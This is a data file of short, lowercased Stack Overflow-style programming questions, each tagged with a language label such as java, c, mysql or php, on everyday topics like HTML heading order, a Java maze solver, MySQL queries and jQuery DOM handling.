is it considered bad practice to have h1-h6 tags out of order if they emphasize correctly   if i have a list of blog posts that are numbered h1-h3 but then have a header for all the posts with an h6 tag is this considered o-k practice  the emphasis is on the blog posts and not the   recent posts  header . if not what is a better practice    <pre><code>&lt;h6&gt; recent posts &lt;/h6&gt; &lt;h1&gt; why sports cars are cool!&lt;/h1&gt; &lt;p&gt; blah blah &lt;/p&gt;    &lt;h2&gt; why trucks are cool!&lt;/h2&gt; &lt;p&gt; blah blah &lt;/p&gt; &lt;h2&gt; why bikes are cool!&lt;/h2&gt; &lt;p&gt; blah blah &lt;/p&gt; </code></pre>   thank you.,html
when to use object[] and list<object> <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/1589813/when-to-use-a-list-over-an-array-in-java >when to use a list over an array in java </a>    </blockquote>     as the title states  i am trying to figure out when to use certain types of lists. i just realized that i have no idea how these object[]-lists are implemented  and thus when they are preferred over list. perhaps they are only preferred when i know that the size of the list wont change  i hope i have made my question clear.    cheers,java
printing to screen  i m trying to write a program that solves a maze. i have no errors in the program. but when run the program  the maze doesn t show up. i just get:   <pre><code>assignment4b.maze@2a46b75b your move (1:north  2:west  3:east  4:south  5:help):  </code></pre>   this is how the file im reading from looks like:   <pre><code>  20 7  number of columns and rows      0 18  exit square (rows and columns start at 0)     6 12  entrance square      xxxxxxxxxxxxxxxxxx x      x            xxxx  x      x xxxxx xxxxx   xx x      x xxxxx xxxxxxx xx x      x            xx xx x     x xxxxxxxxxx xx    x      xxxxxxxxxxxx xxxxxxx </code></pre>   this is how my  main looks like:   <pre><code>import java.util.scanner;      public class question5      {         public static void main (string[]args)         {             // construct the maze             maze m = new maze( maze.txt );             system.out.println(m);              while (!m.isout())             {                     // input from the keyboard                     int move;                     scanner kb = new scanner(system.in);                     system.out.print( your move (1:north  2:west  3:east  4:south  5:help):  );                     move = kb.nextint();                      system.out.println();                      // process the player s selection                     switch (move)                     {                     case  1 :                         m.gonorth();                         break;                     case  2 :                         m.gowest();                         break;                     case  3 :                         m.goeast();                         break;                     case  4 :                         m.gosouth();                         break;                     case  5 :                         m.showpath(system.out);                         system.out.println();                         break;                     }                       // display the new maze (unless help was selected)                     if (move != 5)                     {                         system.out.print(m);                         system.out.print( \n );                     }             }         }     } </code></pre>   and this is how my maze class looks like:   <pre><code>import java.io.fileinputstream; import java.io.ioexception; import java.io.outputstream; import java.util.scanner;  public class maze implements mazeinterface {          public static final int clear = 0;         public static final int wall = 1;         public static final int visited = 2;         public static final int path = 3;          private int row;         private int col;         // 2d array to represent the maze (on the heap)         private int[][] maze;          // entrance and exit points of the maze         private location entrance = new location();         private location exit = new location();          // location of the creature         private location creature = new location();          public maze(string filename) throws ioexception         {              fileinputstream fis = new fileinputstream(filename);             scanner readfile = new scanner (fis);                  if( readfile != null)                {                    row = readfile.nextint();                    col= readfile.nextint();                      }                  // maze structure                 // create the maze on the heap: 2d array of row*col ints                 maze = new int[row][col];                 for(int i=0; i&lt;row; ++i)                 {                     for(int x = 0; x&lt;col;x++)                     {                         row = i;                         col = x;                     }                 }                  // read the maze line by line                 string mazeline;                 for(int r=0; r&lt;row; ++r)                 {                     // eof must not have been reached                      while(readfile.hasnextline())                     {                         mazeline=readfile.tostring();                          for(int c=0; c&lt;col; ++c)                         {                             // mazeline must be made of  x  and     only                             if(mazeline.charat(c) ==    || mazeline.charat(c) == x );                             {                                 maze[r][c] = ((mazeline.charat(c) ==   ) clear:wall);                             }                         }                     }                 }                  // the entrance and exit must not be blocked                 if(maze[entrance.r][entrance.c]!=wall &amp;&amp;  maze[exit.r][exit.c]!=wall)                 {                     // the creature is at the entrance                     creature = entrance;                 }             }          public boolean gonorth()         {             // location north of the creature             location north = creature;             north.r--;             // if north is inside of the maze and the square             // at north is not a wall  we can move the creature             if (insidemaze(north) &amp;&amp; square(north) != wall)             {                 creature = north;                 return true;             }             else             {                 return false;             }         }          public boolean gosouth()         {             // location south of the creature             location south = creature;             south.r++;             // if south is inside of the maze and the square             // at south is not a wall  we can move the creature             if (insidemaze(south) &amp;&amp; square(south) != wall)             {                 creature = south;                 return true;             }             else             {                 return false;             }         }          public boolean gowest()         {             // location west of the creature             location west = creature;             west.c--;             // if west is inside of the maze and the square             // at west is not a wall  we can move the creature             if (insidemaze(west) &amp;&amp; square(west) != wall)             {                 creature = west;                 return true;             }             else             {                 return false;             }         }          public boolean goeast()         {             // location east of the creature             location east = creature;             east.c++;             // if east is inside of the maze and the square             // at east is not a wall  we can move the creature             if (insidemaze(east) &amp;&amp; square(east) != wall)             {                 creature = east;                 return true;             }             else             {                 return false;             }         }          public boolean isout()         {             return (creature == exit);         }          public void showpath(outputstream out)         {             // =there is a path             boolean success = false;              // look for the path recursively             findpath(creature success);              // print the path (if we found one0             if (success)             {                 system.out.println(this);             }             else             {                 system.out.println(  there is no solution path );             }              // remove the visited and path marks             // (set such squares to clear)             for (int i = 0; i &lt; row; ++i)             {                 for (int j = 0; j &lt; col; ++j)                 {                     if (maze[i][j] == path || maze[i][j] == visited)                     {                             maze[i][j] = clear;                     }                 }             }         }          public &lt;ostream&gt; ostream leftshift(ostream out  maze m)          {             // x: wall             // c: creature             //  : empty square             // .: path leading to the exit              // character on the square             char l;             for (int r = 0; r &lt; m.row; ++r)             {                 for (int c = 0; c &lt; m.col; ++c)                 {                     switch (m.maze[r][c])                     {                     case clear:                     case visited:                         l =    ;                         break;                     case wall:                         l =  x ;                         break;                     case path:                         l =  . ;                         break;                     }                     // check for the creature                     if (r == m.creature.r &amp;&amp; c == m.creature.c)                     {                         l =  c ;                         system.out.println(l);                     }                  }              }             return out;         }             public void marksquareasvisited(location l)         {                  maze[l.r][l.c] = visited;         }          public void marksquareaspath(location l)         {                  maze[l.r][l.c] = path;          }          public int square(location l)         {                  return maze[l.r][l.c];         }          public boolean insidemaze(location l)         {             return (l.c &gt;= 0 &amp;&amp; l.c &lt; col &amp;&amp; l.r &gt;= 0 &amp;&amp; l.r &lt; row);         }          public void findpath(location l  boolean success)         {             // this square is being visited             // mark it as such             marksquareasvisited(l);              // if it is the exit square  we are done             // mark the square as part of the path             // set success to true             if (l == exit)             {                 success = true;                 marksquareaspath(l);                 return;             }              // try all possible moves from this square             // north  south  east and west             location north = l;             north.r--;             location south = l;             south.r++;             location east = l;             east.c++;             location west = l;             west.c--;              // if we haven t found the winning path yet and we can go north             // and we haven t been there already  look for the winning path             // starting from north             if (!success &amp;&amp; insidemaze(north) &amp;&amp; square(north) != wall &amp;&amp; square(north) != visited)             {                 findpath(north success);             }             // if we haven t found the winning path yet and we can go south             // and we haven t been there already  look for the winning path             // starting from south             if (!success &amp;&amp; insidemaze(south) &amp;&amp; square(south) != wall &amp;&amp; square(south) != visited)             {                 findpath(south success);             }             // if we haven t found the winning path yet and we can go east             // and we haven t been there already  look for the winning path             // starting from east             if (!success &amp;&amp; insidemaze(east) &amp;&amp; square(east) != wall &amp;&amp; square(east) != visited)             {                 findpath(east success);             }             // if we haven t found the winning path yet and we can go west             // and we haven t been there already  look for the winning path             // starting from west             if (!success &amp;&amp; insidemaze(west) &amp;&amp; square(west) != wall &amp;&amp; square(west) != visited)             {                 findpath(west success);             }              // if success is true  this location is part of a              // solution path. mark the square as part of the path.             if (success)             {                 marksquareaspath(l);             }         }     } </code></pre>   and this is how my location class looks like:   <pre><code>public class location implements locationinterface {     // store a location in the maze     // r and c are the row and column of the location in the maze         public int r;         public int c;          // comparison of 2 locations         public boolean equalsto(location l)         {             return (r == l.r &amp;&amp; c == l.c);         }          public boolean notequalsto(location l)         {             return (r != l.r || c != l.c);         }  } </code></pre>,java
aspx.cs doesn t recognize controls declared in aspx   i created a branch new web project: file -> new -> project  -> asp.net web application    then i tried to add a simple control asp:label but the aspx.cs doesn t recognize this declaration for some reasons. i didn t make any changes to the default project. it contains 6 pages:    <img src= https://i.stack.imgur.com/naeex.png  alt= enter image description here >    does anyone know what could cause this issue  thanks.    <strong>edit</strong><br> here what i added to the file <code>about.aspx</code> is a label with id = <code>id1</code>   <pre><code>&lt;%@ page title= about us  language= c#  masterpagefile= ~/site.master  autoeventwireup= true      codebehind= about.aspx.cs  inherits= webapplication2.about  %&gt;  &lt;asp:content id= headercontent  runat= server  contentplaceholderid= headcontent &gt; &lt;/asp:content&gt; &lt;asp:content id= bodycontent  runat= server  contentplaceholderid= maincontent &gt;     &lt;asp:label id= id1  runat= server  &gt;a label&lt;/asp:label&gt;     &lt;h2&gt;         about     &lt;/h2&gt;     &lt;p&gt;         put content here.     &lt;/p&gt; &lt;/asp:content&gt; </code></pre>   i ran the project without calling that variable <code>id1</code>  everything works fine.     <img src= https://i.stack.imgur.com/wfpu8.png  alt= enter image description here >    but if i called <code>id1</code> within <code>about.aspx.cs</code>  it gave me error said the variable was not found.   <pre><code>using system; using system.collections.generic; using system.linq; using system.web; using system.web.ui; using system.web.ui.webcontrols;  namespace webapplication2 {     public partial class about : system.web.ui.page {         protected void page_load(object sender  eventargs e) {             id1.text =  what the heck  ;         }     } } </code></pre>,asp.net
query in mysql father and son  i have a table to only i have 3 levels in structure example:     1 his son is 2 and 2 have a son is 4 and 6 <br> 3 is father and his son is 5 <br> and 1 have a other son is 7 <br> 4 doesn t have son because is a rule of the structure.    well my table is this:   <blockquote>    |id_father|&nbsp;&nbsp;&nbsp;|id_son|<br>    &nbsp; &nbsp; &nbsp; &nbsp;  &nbsp;1 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  &nbsp;2 <br>     &nbsp; &nbsp; &nbsp; &nbsp;  &nbsp;2 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  &nbsp;4 <br>    &nbsp; &nbsp; &nbsp; &nbsp;  &nbsp;3 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  &nbsp;5 <br>    &nbsp; &nbsp; &nbsp; &nbsp;  &nbsp;2 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  &nbsp;6 <br>    &nbsp; &nbsp; &nbsp; &nbsp;  &nbsp;1 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  &nbsp;7 <br>  </blockquote>   only i want to bringme with my query every father to have one son  this is part of my query: <br>   <pre><code>select r.* from getname r where not exists (select 1 from estructura r2 where r.id = r2.id_son) and  exists (select 1 from estructura r2 where r.id = r2.id_father and  not exists (select 1 from estructura r3 where r2.id_son = r3.id_father )) </code></pre>   and i get this with my query :    <blockquote>    1 and 3 but i want only get the 3.  </blockquote>,mysql
how to properly use strcasecmp in c  i am reading one line from a file which contains on the first line the word  hello . and then i am comparing it with  hello  using strcasecmp  however it is telling me it is still different   <pre class= lang-c prettyprint-override ><code>char *line = null; size_t len = 100; printf( %s   argv[1]); file * fp = fopen(argv[1]   r ); if (fp == null) {     printf( empty\n );     exit(0); } getline(&amp;line  &amp;len  fp); if (strcasecmp(line   hello ) == 0) {     printf( same ); } </code></pre>,c
future of community projects in .net  i ve been lately thinking about future of open source community projects in .net. what raises this problem is actually microsoft devouring all those projects and replacing them with its own ones. every new version of .net framework brings not only clr or language improvements  but also some super new features which slowly  but steadily start to replace community created ones.    just to mention few:    -asp.net mvc - there were some ports of java mvc frameworks like e.g. maverick.net  why weren t they promoted  or at least left in peace with slowly growing user interest.    -entity framework - we all know about nhibernate  but if you took a closer look at entity framework 4  you would see that they are becoming similar  especially looking at <a href= http://weblogs.asp.net/scottgu/archive/2010/07/16/code-first-development-with-entity-framework-4.aspx/  rel= nofollow noreferrer >code-first for ef</a>    -mssql ce 4 - replacing sqlite    -orchard project - replacing dotnetnuke  n2cms and others...    and many others... now the question is: what consequences come from this process  do you think that it may totally stop bigger community projects/frameworks  and then make .net development tied to only-ms things     i m not  very against   because ef+wcf ria+dynamicdata+data annotations=rocks!  but isn t all this going in wrong direction,.net
i have two programs with same contents but their name differ by a prefix * (example : out8.c and *out.c). the one with *prefix doesnt compile  [screenshot of prefix error in c language  ]    <a href= https://i.stack.imgur.com/emnss.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/emnss.png  alt= https://i.stack.imgur.com/emnss.png ></a>,c
php write to .ini file exception  everyone  hello!    i m currently trying to write to an .ini file from php  and i m using teoman soygul s answer and code from here: <a href= https://stackoverflow.com/a/5695202 >https://stackoverflow.com/a/5695202</a>   <pre><code>&lt; php function write_php_ini($array  $file) {     $res = array();     foreach($array as $key =&gt; $val)     {         if(is_array($val))         {             $res[] =  [$key] ;             foreach($val as $skey =&gt; $sval) $res[] =  $skey =  .(is_numeric($sval)   $sval :    .$sval.   );         }         else $res[] =  $key =  .(is_numeric($val)   $val :    .$val.   );     }     safefilerewrite($file  implode( \r\n   $res)); }  function safefilerewrite($filename  $datatosave) {    if ($fp = fopen($filename   w ))     {         $starttime = microtime(true);         do         {            $canwrite = flock($fp  lock_ex);            // if lock not obtained sleep for 0 - 100 milliseconds  to avoid collision and cpu load            if(!$canwrite) usleep(round(rand(0  100)*1000));         } while ((!$canwrite)and((microtime(true)-$starttime) &lt; 5));          //file was locked so now we can store information         if ($canwrite)         {            fwrite($fp  $datatosave);             flock($fp  lock_un);         }         fclose($fp);     }  }     &gt; </code></pre>   this works out great  although  when i save the data to it part of it shows up strange in my .ini:   <pre><code>[server] p_ip =  192.168.10.100  p_port = 80 </code></pre>   it seems that when i have . s in the variable  it seems to put quotation marks. i m not sure why.     if anyone could point me into the right direction  that would really be appreciated. thank you!,php
how to use image as a theme  i need to use perticular image as the theme for my most of the activities in my application... please help me how to do this..,android
where is the  add widgets  icon on api 8  my android app has a widget that works fine on api 11 and above. since i used the appcompat support libraries  i expect it to work on api 8 as well. so i tried it on an avd with api 8  but i could not find the widget option on the homescreen.     on api 11  there was a <code>+</code> icon which showed the available widgets from where i could choose mine. but i cannot find any such icon on the avd with api 8. so where exactly is it     <strong>appwidget-provider xml :</strong>   <pre><code>&lt; xml version= 1.0  encoding= utf-8  &gt; &lt;appwidget-provider xmlns:android= http://schemas.android.com/apk/res/android      android:minwidth= 40dp      android:minheight= 40dp       android:updateperiodmillis= 0      android:initiallayout= @layout/widget      android:previewimage= @drawable/ic_widget_on       &gt;  &lt;/appwidget-provider&gt; </code></pre>,android
php retrieve records from database  i am new to php and web development in general. i wrote a simple php script based on my knowledge so far. here it what it looks like  along with the html:     <pre><code>&lt;!doctype html&gt; &lt;html&gt;     &lt;title&gt;retrieve users&lt;/title&gt;     &lt;meta charset= utf-8 &gt;     &lt;body&gt;         &lt;p&gt; list of subscribers &lt;/p&gt;         &lt; php             $query =  select * from subscribers ;             $con = mysqli_connect( localhost   root      subscribers );             $result;             if(mysqli_connect_errno()){                 header( location: unavailable.html );                 exit;             }else{                 $result = mysqli_query($con $query);             }          &gt;         &lt;table&gt;             &lt; php                  global $result;                 while( $row = mysqli_fetch_array($result) ){                     $email = $row[ email ];                     echo  &lt;tr&gt; ;                     echo  &lt;td&gt;   $email   &lt;/td&gt; ;                     echo  &lt;/tr&gt; ;                 }              &gt;         &lt;/table&gt;     &lt;/body&gt; &lt;/html&gt;   </code></pre>   however  i get this in my webpage :     <pre><code>list of subscribers   ; echo   ; echo   ; }  &gt;   $email     </code></pre>   <strong>what changes do i need to make here </strong>,php
cant compile matrix multiplication ( c )  hey i got this error and i tried like 10 solutions and either works. i want to load 2 matrix  each one from its own txt file then to multiply them. i cant compile casue of lnk1120 and lnk2019 errors. here is my code:    <pre><code>int main(int argc  char *argv[]) {   file *macierz1  *macierz2  *fw; char *line = malloc(1000); int count = 0; macierz1 = fopen( macierz1.txt    r );     if (macierz1 == null) {``     printf( nie można otworzyć   argv[1]);     exit(1); }   macierz2 = fopen( macierz2.txt    r ); if (macierz2 == null) {     printf( nie można otworzyć   argv[2]);     exit(1); }  double *data = (double*)malloc(1000 * sizeof(double)); if (data == null) {     printf( błąd lokowania pamięci );     return exit_failure; } getline(&amp;line  &amp;count  macierz1); int read = -1  cur = 0  columcount1 = 0; while (sscanf(line + cur   %lf%n   &amp;data[columcount1]  &amp;read) == 1) {     cur += read; columcount1++; }  int rowcount1 = 1; while (getline(&amp;line  &amp;count  macierz1) != -1) { rowcount1++; } printf( %d\n   columcount1); printf( %d\n   rowcount1);  getline(&amp;line  &amp;count  macierz2); read = -1  cur = 0; int columcount2 = 0; while (sscanf(line + cur   %lf%n   &amp;data[columcount2]  &amp;read) == 1) {     cur += read; columcount2++; }  int rowcount2 = 1; while (getline(&amp;line  &amp;count  macierz2) != -1) { rowcount2++; } printf( %d\n   columcount2); printf( %d\n   rowcount2); int i = 0; int j = 0;  int **mat1 = (int **)malloc(rowcount1 * sizeof(int*)); for (i = 0; i &lt; rowcount1; i++)     mat1[i] = (int *)malloc(columcount1 * sizeof(int));  fseek(macierz1  0  seek_set);  for (i = 0; i &lt; rowcount1; i++) {     for (j = 0; j &lt; columcount1; j++)         fscanf(macierz1   %d   &amp;mat1[i][j]); }  i = 0; j = 0;  printf( \n\n ); //print matrix 1 for (i = 0; i &lt; rowcount1; i++) {     for (j = 0; j &lt; columcount1; j++)         printf( %d   mat1[i][j]);      printf( \n ); }  i = 0; j = 0; int **mat2 = (int **)malloc(rowcount2 * sizeof(int*)); for (i = 0; i &lt; rowcount2; i++)     mat2[i] = (int *)malloc(columcount2 * sizeof(int));  fseek(macierz2  0  seek_set);  for (i = 0; i &lt; rowcount2; i++) {     for (j = 0; j &lt; columcount2; j++)         fscanf(macierz2   %d   &amp;mat2[i][j]); }  i = 0; j = 0;  printf( \n\n ); //print matrix 2 for (i = 0; i &lt; rowcount2; i++) {     for (j = 0; j &lt; columcount2; j++)         printf( %d   mat2[i][j]);      printf( \n ); }  i = 0;  int **mat3 = (int **)malloc(rowcount1 * sizeof(int*)); for (i = 0; i &lt; rowcount1; i++)     mat3[i] = (int *)malloc(columcount2 * sizeof(int)); i = 0; j = 0; int k = 0; int sum = 0;  if (columcount1 != rowcount2) {     puts( the number of columns in matrix 1 is not same as the number of rows in matrix 2 );     exit(1); }  //multiplication of two matrices for (i = 0; i&lt;rowcount1; i++) {     for (j = 0; j&lt;columcount2; j++)     {         mat3[i][j] = 0;         for (k = 0; k&lt;columcount1; k++)         {             mat3[i][j] = mat3[i][j] + mat1[i][k] * mat2[k][j];         }     } }   //print multiplication result printf( \n\nresult = \n\n );  for (i = 0; i &lt; rowcount1; i++) {     for (j = 0; j &lt; columcount2; j++)         printf( %d   mat3[i][j]);      printf( \n ); } for (i = 0; i&lt; rowcount1; i++)     free(mat1[i]); free(mat1);  for (i = 0; i&lt; rowcount2; i++)     free(mat2[i]); free(mat2);  for (i = 0; i&lt; rowcount1; i++)     free(mat3[i]); free(mat3);  free(data);  return 0; } </code></pre>,c
how to make a chatbot that only says one thing  while letting the user input as many inputs as they want using scanner  i was wondering how in java  i could have the user input as many answers as they want  while the bot only replies with  neat  or  ... . i don t exactly have a good idea on how one would go to do this  and it would be nice if someone could help. thanks!,java
why string with dictionary replacement behaves abnormally   i have a dictionary in my application as below:   <pre><code>dictionary&lt;char  char&gt; securitydictionary      = new dictionary&lt;char  char&gt;       {           { a    q }  { b    w }  { c    e }  { d    r }  { e    t }             { f    y }  { g    u }  { h    i }  { i    o }  { j    p }             { k    1 }  { l    a }  { m    2 }  { n    3 }  { o    s }             { p    4 }  { q    d }  { r    f }  { s    5 }  { t    g }             { u    z }  { v    x }  { w    6 }  { x    c }  { y    7 }             { z    8 }  { 0    v }  { 1    9 }  { 2    b }  { 3    0 }             { 4    n }  { 5    m }  { 6    h }  { 7    j }  { 8    k }             { 9    l }       }; </code></pre>   now  i pass a string to this dictionary as follows:   <pre><code>string keyfromclient =  qwertyuiopasdfghjklzxcvb ;  console.writeline(keyfromclient);  foreach (keyvaluepair&lt;char  char&gt; c in securitydictionary.tolist()) {     keyfromclient = keyfromclient.replace(c.key  c.value); }  console.writeline(keyfromclient); </code></pre>   now here is my output:   <pre><code>qwertyuiopasdfghjklzxcvb dhgfgjkmmndmfjkmnlakcgch </code></pre>   but i think the output should like shown below  because i am just telling my program to replace each character in string by looking into dictionary:   <pre><code>qwertyuiopasdfghjklzxcvb d6tfg7zos4q5ryuip1a8ce0w </code></pre>,c#
tv out an iphone application  using the uiscreen api is it possible to display the same app screen on both ipod screen and external display. i have tried using uiscreen but application is displaying only on external display  not on ipod screen. please guide me on right way,iphone
mysql unique index error still autoincrements primary index  i have simple table like this   <pre><code>create table `adverts` (  `id` int(10) unsigned not null auto_increment   `original_id` int(10) unsigned not null comment  original project advert id    `owner_id` int(10) unsigned not null   `project_id` int(10) unsigned not null   primary key (`id`)   unique key `original_id` (`original_id` `owner_id` `project_id`) ) engine=innodb auto_increment=1 default charset=latin1 </code></pre>   and when i try to execute   <pre><code>insert into `adverts` (`id`  `original_id`  `owner_id`  `project_id`) values (null   1    1     ); </code></pre>   multiple times i got error for violating unique index  but problem is auto_increment still rises  as a result i can have one row with id 1  and second row with (for example) id 100.    for executing query i use php    <pre><code>$query =  insert into `adverts` (`original_id`  `owner_id`  `project_id`) values (       ); ; if ($stmt = $sql-&gt;prepare($query)) { // integer  integer  integer $stmt-&gt;bind_param( iii   $input[ id ]  $input[ owner_id ]  $projects[$input[ project_name ]]); $stmt-&gt;execute();  switch ($stmt-&gt;errno) {     case 1062:     throw new \exceptions\persistence\uniqueconstraintviolationexception;     break; }  $result = $stmt-&gt;insert_id; $stmt-&gt;close(); } </code></pre>,mysql
output different from what i have expected  why its printing x88   <pre><code>public static void main(string [] args) {       char x =  x ;       int i = 0;       system.out.print(true    x : 0);       system.out.print(false   i : x); } </code></pre>,java
orkut application development. how to start   i am an asp.net developer and would like to create an application to be deployed in orkut application.where should i start from   whats the steps   is asp.net is a must to develop an application,asp.net
rails join table and multi sum  what i want to do is to join table and sum 3 columns.     <pre><code>   self.document_products.joins( join products on products.id = document_products.product_id ).group( products.tax_id ).select( sum(a)  sum(b)  sum(c) ) </code></pre>   gives me   <pre><code>#&lt;activerecord::relation [#&lt;documentproduct id: nil&gt;]&gt; </code></pre>   something like that works:   <pre><code>   self.document_products.joins( join products on products.id = document_products.product_id ).group( products.tax_id ).sum( a ) </code></pre>   but i want to have 3 sums. i can`t do sum( a  b  c ). where is the problem,ruby-on-rails
how is the internal array of a list<t> increased when using addrange()  i am looping through a potentially huge (millions of items) dataset (stored on disk) and pulling out selected items which i am adding to a <code>list&lt;t&gt;</code>. when i add an item to the list  i put a lock around it  as there are other threads accessing the list.    i am trying to decide between two possible implementations:    1) lock the list every time i need to add an item.    2) use a temporary list that i add items to as i find them  and then use <code>list&lt;t&gt;.addrange()</code> to add the items in that list in a chunk (e.g. when i have found 1000 matches). this results in needing to request a lock on the list less often  but if addrange() only increases the capacity enough to exactly accommodate the new items then the list will end up being re-sized a lot more times.    my question is this: as i understand it  adding items one at a time will cause the internal capacity of a <code>list&lt;t&gt;</code> to double in size every time the capacity is reached  but i don t know how <code>list&lt;t&gt;.addrange()</code> behaves. i would assume that it only adds enough capacity to accommodate the new items  but i can t find any way to confirm this. the description of how the capacity is increased on msdn is almost identical for add() and addrange()  except that for addrange it says that if the new count is greater than the capacity the capacity is increased rather than if the count is already the same as the capacity.<br> to me this reads as if using addrange() to add enough items to go over the current capacity would cause the capacity to be increased in the same way that going over the current capacity using add() would.    so  will adding items using <code>list&lt;t&gt;.addrange()</code> in a chunk large enough to exceed the current capacity cause the capacity to increase only enough to accommodate the new items  or will it cause the capacity to double  or does it do something else that i ve not even considered     hopefully this is clear enough without any code samples as it is a general question about how <code>list&lt;t&gt;</code> is implemented  but if not i will add any that will make my question clearer. as mentioned  i ve read the msdn documentation and couldn t find a clear answer. i searched for any similar questions on here as well and couldn t find any  but if there s one i ve missed please point me to it!,c#
how do i use a different layout for a specific :action   ruby 1.8.7  rails 2.3.11    i ve been trying the <a href= https://stackoverflow.com/questions/5524924/use-a-layout-for-a-specific-action >answers</a> that appear to be what i m asking about already  but neither worked successfully for me (probably because i m relatively new to rails and wasn t understanding them correctly).    i m trying to create a printer-friendly view for a model (posters)  which will be accessible at /posters/print/1.  how can i have the print action use a different layout file than index  new  edit  and show     one answer said <code>render :layout =&gt;  otherlayout </code>  which i put in the print controller method to make <code>format.xml  { render :layout =&gt;  print   :xml =&gt; @poster }</code>.  that didn t change anything when i refreshed (after clearing my cache) the page.    the other answer said   <pre><code>layout  layout   :only =&gt; [:first_action  :second_action] layout  second_layout   :only =&gt; [:third_action  :fourth_action] </code></pre>   which i put at the top of the poster controller file like so:   <pre><code>layout  posters   :only =&gt; [:show  :edit  :index] layout  print   :only =&gt; [:print] </code></pre>   but that appears to only use the latter line (show  edit  and index are rendered directly from their own .html.erb files  rather that wrapped inside the poster layout).    please let me know if i need to post more information.,ruby-on-rails
how to fix ussd codes in samsung  to all forum members     i m new here  hope you welcome to me here ok so whats mine problem   i have converted rom   like samsung sprint to international  everything is working fine  but just one problem is there ussd codes ! ok in ussd codes this codes working fine *#06# *#1234#  but the when i try to active any kind of sim pakage like this *112# or *111# etc so its gone to make call      so how can i fix this issue     is there any person who s explain me with l little details      thanks to all,android
using mysql  not in  but allowing for substrings  i am trying to query for rows that are not in another set of rows. however  the other set of rows may contain strings that include strings from the first table.    i m confusing myself trying to explain so i ll use the following example  tables:   <pre><code>mysql&gt; describe tablea; +------------+----------+------+-----+---------+-------+ | field      | type     | null | key | default | extra | +------------+----------+------+-----+---------+-------+ | name       | char(40) | no   | pri |         |       |  +------------+----------+------+-----+---------+-------+  mysql&gt; describe tableb; +------------+----------+------+-----+---------+-------+ | field      | type     | null | key | default | extra | +------------+----------+------+-----+---------+-------+ | nametag    | char(40) | no   | pri |         |       |  +------------+----------+------+-----+---------+-------+  mysql&gt; select name from tablea; +------------+ | name       | +------------+ | cat        | | dog        | | cow        | +------------+  mysql&gt; select nametag from tableb; +------------+ | nametag    | +------------+ | wolf       | | dog        | | browncow   | +------------+ </code></pre>   i am trying to find a method similar to the not in operation  however because <strong>cow</strong> is  in  <strong>browncow</strong>  i also want to exclude this value.   <pre><code>mysql&gt; select name from tablea where name not in ( select nametag from tableb ); +------------+ | name       | +------------+ | cat        | | cow        | +------------+ # i am looking for something that would only return  cat  for this example. </code></pre>   is there any operation where i can search for rows that aren t contained in another set with additional modifiers,mysql
web application background image not appearing  i m trying to add a background image to one of the html pages in my spring-boot application.   when the application is launched the background is not loaded or any other image.    this is my html code   <pre><code>&lt;!doctype html&gt; &lt;html xmlns:th= http://www.thymeleaf.org &gt; &lt;head&gt; &lt;style&gt; body {margin:0;}  .icon-bar {    width: 100%;    background-color: #555;    overflow: auto;  }  .icon-bar a {    float: left;    width: 25%;    text-align: center;    padding: 12px 0;    transition: all 0.3s ease;    color: white;    font-size: 36px;  }  .icon-bar a:hover {    background-color: #300;  }  .active {    background-color: #4caf50 !important;  }  .button {    padding: 15px 65px;    font-size: 36px;    text-align: center;    cursor: pointer;    outline: none;    color: #fff;    background-color: #4caf50;    border: none;    border-radius: 12px;    box-shadow: 0 9px #999;    position:absolute;    transition: .5s ease;    top: 65%;    left: 42%; }  .button:hover {background-color: #3e8e41}  .button:active {      background-color: #3e8e41;      box-shadow: 0 5px #666;      transform: translatey(4px);    }  h2 {       position: absolute;       top: 57%;       left: 46%;     }  h3 {      position: absolute;      top: 75%;      left: 43%;    } &lt;/style&gt; &lt;/head&gt;  &lt;body background =  page.jpg &gt;   &lt;div class= icon-bar &gt; &lt;a class= active  href= # &gt;&lt;i class= fa fa-home &gt;&lt;/i&gt;&lt;/a&gt;  &lt;a href= # &gt;&lt;i class= fa fa-search &gt;&lt;/i&gt;&lt;/a&gt;  &lt;a href= # &gt;&lt;i class= fa fa-envelope &gt;&lt;/i&gt;&lt;/a&gt;  &lt;a href= # &gt;&lt;i class= fa fa-globe &gt;&lt;/i&gt;&lt;/a&gt; &lt;/div&gt; &lt;p th:text= ${msg} &gt;&lt;/p&gt;  &lt;h2&gt;join us &lt;/h2&gt; &lt;form action= /register  method= get &gt;  &lt;button class= button  formaction= register.html  &gt;sign up &lt;/button&gt; &lt;/form&gt; &lt;h3&gt; already have account   &lt;a href= /login &gt;log in&lt;/a&gt; &lt;/h3&gt;  &lt;/body&gt; &lt;/html&gt;  </code></pre>   i also tried the following but it s still not working.     <pre><code> &lt;body background  src = c:\users\nourhan\workspace\projectsw\src\main\resources\templates\page.jpg &gt;  </code></pre>,html
run jquery event on divs with same class only once per div  i have non-editable html (a third-party platform) that i am customizing. i m trying to move the div with a class  .idx-showcaseprice  in each  .idx-showcasecell   however when i execute the code below  it pulls all of the divs with class  .idx-showcaseprice  and inserts them into each parent div.    is there a way to isolate each div one by one and have it execute only on that div      i apologize for the html screenshot  but there is no access to the source code.    <a href= https://i.stack.imgur.com/31c1e.png  rel= nofollow noreferrer >screenshot of html</a>   <pre><code>&lt;script&gt;  (function() {   $( .idx-showcasecell ).each(function() {    $(this).siblings( .idx-showcaseprice ).insertbefore( .idx-    showcaseaddress );   });  })(jquery); &lt;/script&gt; </code></pre>,jquery
